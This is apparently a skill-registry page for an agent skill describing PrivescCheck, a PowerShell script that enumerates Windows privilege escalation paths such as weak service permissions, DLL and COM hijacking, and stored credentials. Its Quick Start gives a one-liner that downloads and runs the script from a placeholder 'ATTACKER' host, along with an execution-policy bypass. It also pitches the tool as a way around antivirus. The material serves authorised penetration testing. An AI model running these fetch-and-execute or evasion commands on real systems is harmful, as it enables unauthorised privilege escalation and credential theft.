aeondave/privesccheck
offensive-tools/privilege-escalation/privesccheck/SKILL.md
PrivescCheck: pure PowerShell Windows privilege escalation enumeration script checking services, scheduled tasks, registry, DLL hijacking, COM hijacking, and stored credentials. Use when winPEAS is blocked by AV, for a lower-detection PS1 alternative, or for structured readable output with remediation context.
$ install --global
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Security Scan Results
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TrivyContainer and dependency vulnerability scanner
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SemgrepStatic code analysis for vulnerabilities
95%
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mcp-scan (Snyk)Model Context Protocol security validation
95%
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Snyk (dep)Open source security scanning
50%
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Socket.devSupply chain security analysis
50%
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VirusTotalMulti-engine malware detection
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CrowdStrikeAdvanced threat intelligence
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OSV-ScannerOpen Source Vulnerability database check
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OWASP Dep-Check
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Last scanned: Mar 31, 2026, 9:20 PM56.6s1 file scanned
SKILL.md
- name:
- privesccheck
- description:
- PrivescCheck: pure PowerShell Windows privilege escalation enumeration script checking services, scheduled tasks, registry, DLL hijacking, COM hijacking, and stored credentials. Use when winPEAS is blocked by AV, for a lower-detection PS1 alternative, or for structured readable output with remediation context.
- license:
- MIT
- compatibility:
- Windows. PowerShell 2.0+. No admin required. Pure PS1 — no compiled binary.
- author:
- AeonDave
- version:
- 1.0
PrivescCheck
Pure PowerShell Windows privilege escalation enumeration.
Quick Start
IEX (New-Object Net.WebClient).DownloadString("http://ATTACKER/PrivescCheck.ps1"); Invoke-PrivescCheck
Invoke-PrivescCheck -Extended
Invoke-PrivescCheck -Report privesc_report -Format HTML
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
Check Categories
| Category | What it enumerates | |----------|--------------------| | Services | Unquoted paths, weak DACLs, writable binaries | | Scheduled Tasks | Writable task scripts/binaries | | Registry | AlwaysInstallElevated, AutoRun keys | | Credentials | GPP passwords, stored Windows credentials | | Current user | Token privileges, group memberships | | COM objects | Hijackable COM registrations | | DLL hijacking | PATH/CWD DLL search order abuse |
Output Severity
| Level | Meaning | |-------|---------| | Info | All findings including informational (default) | | Low | Medium+ severity only | | Medium | High severity only |
Resources
| File | When to load |
|------|--------------|
| references/ | DLL hijack exploitation, COM hijack exploitation |
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